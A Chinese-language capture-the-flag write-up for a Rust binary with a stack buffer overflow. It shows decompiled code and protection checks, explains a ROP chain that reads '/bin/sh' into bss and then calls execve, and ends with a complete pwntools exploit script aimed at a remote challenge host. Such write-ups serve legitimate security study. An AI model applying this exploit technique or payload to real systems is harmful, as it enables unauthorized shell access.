rust
第一次写rust pwn,还好这只是一道简单的栈溢出题
检查保护
1 2 3 4 5 6 7 8 [*] '/home/ash/Desktop/pwn/rust/pwn' Arch: amd64-64 -little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 ) Stripped: No Debuginfo: Yes
没有canary 和 pie保护
源码分析 main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 void __cdecl rust_1::main::hdbe7208ddd0c7ee0(){ __int64 v0; core::result::Result<usize,std ::io::error::Error> v1; core::result::Result<usize,std ::io::error::Error> v2; __int64 v3; __int64 v4; std ::sync::poison::mutex::Mutex<std ::io::buffered::bufreader::BufReader<std ::io::stdio::StdinRaw>> *v5; char v6; core::result::Result<usize,std ::io::error::Error> v7; core::result::Result<usize,std ::io::error::Error> v8; __int64 v9; __u8_ v10; core::fmt::Arguments v11; alloc::string ::String v12; __int64 v13; core::fmt::Arguments v14; alloc::vec::Vec<u8,alloc::alloc::Global> v15; std ::io::stdio::StdinLock v16; __int64 v17; alloc::string ::String v18; core::fmt::Arguments v19; rust_1::syscall_ret_gadget::h21f6f2c7b46b5404(); core::fmt::Arguments::new_const::ha0f72a08894fdd0e(&v11, (_str (*)[1 ])pieces_0); std ::io::stdio::_print::ha3861c4b52105cd3(); alloc::string ::String::new::h553411fda016cd29(&v12); std ::io::stdio::stdin ::hf92f36da866e71ee(); v13 = v0; std ::io::stdio::Stdin::read_line::hc0786934ed918e0d(); v2 = v1; *(_QWORD *)&v1.gap0[8 ] = aError; v3 = 5 ; core::result::Result$LT$T$C$E$GT$::expect::he3bf486bbcb6acf8(v2, *(_str *)((char *)&v1 + 8 )); core::fmt::Arguments::new_const::ha0f72a08894fdd0e(&v14, (_str (*)[1 ])pieces_1); std ::io::stdio::_print::ha3861c4b52105cd3(); alloc::vec::Vec$LT$T$GT$::new::he65a89778ab6d674(&v15); std ::io::stdio::stdin ::hf92f36da866e71ee(); v17 = v4; std ::io::stdio::Stdin::lock::ha155f6e1d39725d8(); v16.inner.lock = v5; v16.inner.poison.panicking = v6 & 1 ; _$LT$std ..io..stdio..StdinLock$u20$as$u20$std ..io..BufRead$GT$::read_until::h0d60887e33371c5e(); v8 = v7; *(_QWORD *)&v7.gap0[8 ] = "Read failed" ; v9 = 11 ; core::result::Result$LT$T$C$E$GT$::expect::he3bf486bbcb6acf8(v8, *(_str *)((char *)&v7 + 8 )); core::ptr::drop_in_place$LT$std ..io..stdio..StdinLock$GT$::hbad30a2df3248829(&v16); v10 = _$LT$alloc..vec..Vec$LT$T$C$A$GT$$u20$as$u20$core..ops..deref..Deref$GT$::deref::h08b972f1fd5416a7(&v15); rust_1::vulnerable_function::h48d3ddfe89c29463(&v18, v10); core::ptr::drop_in_place$LT$alloc..string ..String$GT$::h1c9c88a604d6d5ec(&v18); core::fmt::Arguments::new_const::ha0f72a08894fdd0e(&v19, (_str (*)[1 ])pieces_2); std ::io::stdio::_print::ha3861c4b52105cd3(); core::ptr::drop_in_place$LT$alloc..vec..Vec$LT$u8$GT$$GT$::h335e016c9bd54c58(&v15); core::ptr::drop_in_place$LT$alloc..string ..String$GT$::h1c9c88a604d6d5ec(&v12); }
虽然看着复杂,实际上只有两个输入
1 2 3 4 alloc::string ::String::new::h553411fda016cd29(&v12); std ::io::stdio::stdin ::hf92f36da866e71ee(); v13 = v0; std ::io::stdio::Stdin::read_line::hc0786934ed918e0d();
这是第一次输入,v12在栈上,并且后面并没有利用,所以实际没有用处
1 2 3 4 5 6 7 8 _$LT$std ..io..stdio..StdinLock$u20$as$u20$std ..io..BufRead$GT$::read_until::h0d60887e33371c5e(); v8 = v7; *(_QWORD *)&v7.gap0[8 ] = "Read failed" ; v9 = 11 ; core::result::Result$LT$T$C$E$GT$::expect::he3bf486bbcb6acf8(v8, *(_str *)((char *)&v7 + 8 )); core::ptr::drop_in_place$LT$std ..io..stdio..StdinLock$GT$::hbad30a2df3248829(&v16); v10 = _$LT$alloc..vec..Vec$LT$T$C$A$GT$$u20$as$u20$core..ops..deref..Deref$GT$::deref::h08b972f1fd5416a7(&v15); rust_1::vulnerable_function::h48d3ddfe89c29463(&v18, v10);
这里是第二次输入,把输入的字节传入vulnerable_function函数,没有限制输入的大小
vulnerable_function函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 alloc::string ::String *__cdecl rust_1::vulnerable_function::h48d3ddfe89c29463( alloc::string ::String *__return_ptr retstr, __u8_ input) { usize n; __int128 dst; core::fmt::Arguments v5; core::fmt::rt::Argument args[1 ]; u8 x[16 ]; alloc::borrow::Cow<str> v8; u8 *data_ptr; usize length; u8 *v11; __int128 *v12; usize v13; __int128 *p_dst; __int64 v15; u8 *v16; usize v17; n = input.length; data_ptr = input.data_ptr; length = input.length; dst = 0 ; v16 = input.data_ptr; v17 = input.length; p_dst = &dst; v15 = 16 ; v11 = input.data_ptr; v12 = &dst; v13 = input.length; core::intrinsics::copy_nonoverlapping::precondition_check::h23ff89e319f47fb8( input.data_ptr, &dst, 1u , 1u , input.length); memcpy (&dst, input.data_ptr, n); core::fmt::rt::Argument::new_debug::h2f2cc6de74340192((u8 (*)[16 ])x); args[0 ] = *(core::fmt::rt::Argument *)x; core::fmt::Arguments::new_v1::h3d6e7b0e7a348a1b(&v5, (_str (*)[2 ])pieces, (core::fmt::rt::Argument (*)[1 ])args); std ::io::stdio::_print::ha3861c4b52105cd3(); alloc::string ::String::from_utf8_lossy::h51fbe5dcdeb2e59c(); _$LT$T$u20$as$u20$alloc..string ..ToString$GT$::to_string::h7284f5348dd0825e(retstr, &v8); core::ptr::drop_in_place$LT$alloc..borrow..Cow$LT$str$GT$$GT$::hf33c92e9a5f8c32a(&v8); return retstr; }
这里我们可以看到memcpy(&dst, input.data_ptr, n);处存在栈溢出,因为输入时没有对字符串长度进行限制,而且直接把输入赋值给了dst,我们可以直接利用这个栈溢出打execve(“/bin/sh”, 0,0)
但是我们没有栈地址,没有/bin/sh\x00,所以需要我们先调用read函数把/bin/sh\x00读入bss段,然后可以直接调用execve系统调用拿到shell
具体步骤 这里要注意一个点,在第二次输入时,最后输出的缓冲区是16个字节,所以我们在输入16个字节后要加上\x00截断
然后调用read系统调用读入/bin/sh\x00
最后调用execve系统调用拿到shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level = "debug" io = remote("39.107.99.184" , 30888 ) bss_addr = 0x459D38 pop_rdi_rbp = 0x0000000000402203 pop_rsi_rbp = 0x00000000004022c3 pop_rax = 0x000000000040486a pop_rdx = 0x000000000041ca3a ret_addr = 0x000000000040201a syscall = 0x405878 io.recvuntil(b"The challenges of Rust\n" ) io.sendline(b"aaaa" ) io.recv() payload = b"a" * 16 payload += b"\x00" * 8 + b"a" * (0xd8 - 8 * 3 ) payload += p64(pop_rax) + p64(0 )+ p64(pop_rdi_rbp) + p64(0 ) + p64(ret_addr) + p64(pop_rsi_rbp) + p64(bss_addr + 0x10 ) + p64(ret_addr) + p64(pop_rdx) + p64(0x100 ) + p64(syscall) payload += p64 (ret_addr) + p64(pop_rax) + p64(59 ) + p64(pop_rdi_rbp) + p64(bss_addr + 0x10 ) + p64(ret_addr) + p64(pop_rsi_rbp) + p64(0 ) + p64(ret_addr) + p64(pop_rdx) + p64(0 ) + p64(syscall) io.sendline(payload) io.sendline(b"/bin/sh\x00" ) io.interactive()